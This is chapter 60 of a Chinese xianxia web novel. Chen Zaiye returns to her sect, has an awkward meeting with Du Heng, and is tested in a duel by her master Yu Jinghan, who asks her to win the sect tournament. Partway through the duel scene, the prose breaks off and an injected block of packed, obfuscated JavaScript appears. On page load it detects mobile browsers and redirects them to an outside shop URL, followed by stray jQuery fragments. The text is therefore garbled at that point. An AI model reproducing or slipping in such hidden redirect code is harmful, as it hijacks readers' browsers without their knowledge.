60. 哦,师慈徒孝
作品:《师姐怎么还不采补我》 这次宗门大比在昆仑派举办,作为东道主,昆仑派上上下下没有一个闲人。
除了刚回来的陈在野。
她在山门外踟蹰,不知怎的,竟有些“近乡情怯”了。
“你在这儿做什么?”
杜蘅的声音在身后突兀响起。
她吓了一跳:“你怎么在这儿?”
“帮忙。”他简短地答。
十来级石阶之下,一群陌生弟子正嘻嘻哈哈朝他们而来,见到他们突然噤声了。
……准确来说,是见到杜蘅。
“你们先去。”杜蘅侧过身让开一条道,这群年轻弟子立刻从他们身边绕了过去。
“是,首座。”
陈在野挑起一边眉毛,重复道:“首座?”
“咳,”他莫名脸上一热,“只是弟子首座,是盟主前不久突然决定的,我也吓了一跳……”
“你不用跟我解释那么多。”她笑道。
他点点头,没有再说话。
气氛有点儿尴尬,陈在野摸了摸鼻尖。
“你们这是要做什么?”
“你怎么不进去?”
两个人同时开口。
“你先说。”“你先说。”
“……”
两个人又一齐安静了。
最后,杜蘅先答道:“齐盟主让我们送些东西来,顺便看看有没有需要帮忙的地方。”
“来监视我们,顺带送些宗门大比的彩头。”她恍然大悟。
“不要说这么难听。”他无奈了。
陈在野耸了耸肩,紧接着从“监视”想到了什么,表情立即警惕起来:“那张不扬……?”
“盟主已经将他们召回了,短时间内不会再寻神器的下落,至少宗门大比期间不会,而且昆仑派也不允许他们这么做,”他了然道,“不用担心,你不会有事的。”
她暂且信了,舒了口气。
“你呢?怎么不进去。”他扬了扬下巴,指向几丈外的昆仑派山门。
“呃……我正要进去呢。”
杜蘅一脸不相信,毫不客气拆穿了她的话:“我看见你在这儿站了好久了。”
她再一次挑眉看向他。
“我只是在等其他人跟上来,”他无意义地描补,“真的。”
他到底在说什么啊……杜蘅深吸一口气,在心里狂拍脑门。
“哦。”陈在野眉毛挑得更高了。
“你……”过了好一阵,他冷静下来,终于发现她的变化了,声音里带了几分惊讶,“你金丹期了?”
“嗯。”她没有否认,但在心里补充了一句,是金丹后期了。
“恭喜。”他真心实意笑了,很浅,但确实算是个笑。
“也恭喜你了,”见杜蘅面露疑惑,她又补充说,“恭喜荣升首座。”
“谢谢。”
“齐道很器重你,”她先陈述了一句,然后半开玩笑道,“或许再过一二百年,我们就该改口叫你盟主了?”
很显然,这个玩笑不是很好笑。
因为杜蘅表情一下变得复杂极了。
“你知道的,我无心那个位置。”他说。
她怎么会知道呢?
陈在野在心里反问。
“我想,这话可不能当着你们止戈新盟其他人的面说。”
容易挨打。
他又笑了一下,没有再顺着她的话继续聊,而是说:“你迟迟不进去,难道是紧张了?”
“有点儿。”
她看起来似乎颇为苦恼。
“突破于你而言不应该是件好事吗,为什么苦大仇深的?”
如果只是突破就好了。
陈在野重重地叹了口气。
半年跨越了接近一整个大境界,匪夷所思程度堪比她当止戈新盟盟主。
想到这里,她就好一阵懊悔。
刚开始,她还在为自己修为提升如此迅速而感到窃喜,但等情绪冷却下来,等升到金丹后期,她才后知后觉感到害怕。
如果虞惊寒问起来,她该怎么回答?
这还算好,若是其他人问起来——弟子或许看不出她具体的境界,长老们、甚至是掌门,定然一眼便能识破,他们若问起来,她该怎么解释?
天赋异禀?
很显然,所有人都不会这么认为。
运气使然?
她自己都不信。
“你不懂。”她最后还是说。
杜蘅闻言立即恼了,但他很难得地忍住了,只是怪声怪气道:“嗯,云起时懂,全世界就他最懂你。”
“你一定要这么说话吗?”她白眼快翻上天了。
更难得的是,他竟然没有刺回来。
“一起进去?”他指了指山门,语气甚至算得上平和。
陈在野退了半步,不可思议地上下打量着他,直到眼神几乎快要成为一种冒犯,他也没有发火。
“这当了首座,气度就是不一样了!”
*
她最终还是和杜蘅一起进去了。
不是因为她想好了说辞,也不是因为两个人一起走更有勇气,而是因为虞惊寒不知道从哪得到了她回来的消息,令人来传话,让她不要再在山门外磨蹭了,速速进来。
话虽这么说,陈在野还是在虞惊寒的院外磨蹭了一会儿。
然后她在心里对自己说,只是虞惊寒而已,就算她发现了,也不会把自己剁成饺子馅,说不定……说不定她还会帮自己隐瞒一下呢。
毕竟,这一切的一切都是虞惊寒给她的那块洗髓石惹出来的祸。她毫无责任心地甩锅给虞惊寒。
陈在野反复深呼吸,然后推开了院门——
迎接她的,是虞惊寒凌厉的刀风。
“不是吧?!”
陈在野“砰”地又关上了门,她师傅的长刀遂即破门而出,擦着她的脖颈而过,吓得她膝盖一软险些跪倒在地。
那可怜的门板连一击都没有扛过就碎成了两半,她不得不直面虞惊寒了。
“师师师傅,早啊。”
“明天记得把门修了,”虞惊寒抬掌,长刀飞回她手中,淡淡道,“拔你的刀。”
“哈?”
“三——”
陈在野飞快抽刀而出,紧紧握在手中,下一息,虞惊寒闪至她的面前,不遗余力朝她劈来。
她侧身狼狈躲过,脚边即刻多了条深沟!陈在野暗暗叫苦,她和虞惊寒打,闹呢?
“还敢分心?”虞惊寒冷笑连连,刀刀直逼她面门,“看来长进不小,很自信啊。”
她举刀格挡,但还是被她那刚劲蛮横的刀风逼得节节后退,说不出话来。
“你以为你能挡住我每一式?”虞惊寒步步紧逼,一刀比一刀快,“出招!”
两柄长刀嗡鸣交击,陈在野死死咬着牙,绞着她的刀横斩一刀,随即后退两步,避开她的攻势。
虞惊寒手腕外拧,轻轻一甩,挡下她这一式。
“再来。”
她不得不硬着头皮攻上,劈、砍、刺衔接极快,一招接着一招
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845429|183010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,长刀如银蛇乱舞。
两兵相接,电闪雷鸣之间已过了三五招。
“这还像回事。”
虞惊寒格挡同时攻势不减,招式大开大合,姿态轻松极了,让陈在野十分怀疑人生。
她呼吸愈发急促,汗涔涔的,背后湿了一片,握刀的手也止不住地战栗,快要提不起劲来——虞惊寒明明看出来了这一点,却依然寸步不让,仿佛跟她有血海深仇似的。
不行……
陈在野又格下一击,思绪如飞。
不能再这样下去了。
“这就想放弃了?”
虞惊寒嘴上不断刺激着她,手中也不停,方削掉她一簇发丝,又刀势逆转,旋身的同时裹着磅礴灵力朝她劈来——
陈在野心一横,迎刃而上,没有完全避开她刀锋,只是偏过头,仅使项上人头幸免于难,然后抓住了她旋身的那千分之一瞬息,朝她横扫而去,斩断了她的腰带。
“啪。”
那截织锦腰带滑落在地,虞惊寒外袍倏地一松,打断了她的攻击。
“砰!”
这一声是陈在野受击脸朝下倒下的声音。
那一刀从她左肩到右腰剌开了一道口子,并不深,只划破了表皮,血珠一滴一滴渗出来。
虞惊寒还是留手了。
意识模糊之间,她听见她师傅冷得快结冰的声音。
“我想,我没有教过你这种卑鄙无耻的招数。”
或许,割破她的腰带并不是一个很好的选择。
*
伤口被简单处理过了,陈在野闭着眼躺在榻上,不敢看坐在旁边的虞惊寒。
“还装死?”
面上投下一片阴影,她右眼微微睁开一条缝,但还是和俯视着她的虞惊寒对视上了。
她吞了吞唾沫,无辜地眨着眼睛,等待着命运的裁决。
半晌,虞惊寒吐出了三个字。
“有进步,”
“还成。”她又慢吞吞补充说。
陈在野屏住呼吸,她知道虞惊寒绝对还有下半句。
“但我很想知道……”
果然要来了!她又倒吸一口凉气。
“你为什么拖到今日才回来?”
“咳咳咳……”一口气险些没上来,陈在野剧烈咳嗽起来,伤处又有点儿要裂开的意思了。
“急什么。”虞惊寒喂了她一颗丹药,动作几乎可以称得上是温情了。
她受宠若惊地弹了起来。
“我……”
“躺着,”虞惊寒又恢复冷冰冰了,“这次就算了,若有下次,我定禀报掌门将你除名。”
陈在野呆呆地望向她,她为什么不问她修为剧增的事呢?
然而话说出来却成了另一件事。
“师傅,洗髓石是你让她给我的,对吗?”
虞惊寒愣住了,随后脸色一沉,她猜她一定是在暗骂渥丹办事不力。
但很快,她又恢复了正常。
“我希望,你没有做错选择。”虞惊寒没有否认,直直对上她的双眼,仿佛是想从她的眼中读出她的选择。
她暗暗掐着掌心,拼尽全力没有移开目光。
“为什么?”发间冒出冷汗,陈在野心如擂鼓。
虞惊寒终于不再盯着她看了,她背过身,声音听不出任何异样。
“我需要你做一件事。”
“什么?”直觉告诉陈在野,这绝对不是一件简单的事。
“我要你赢下宗门大比,成为魁首。”

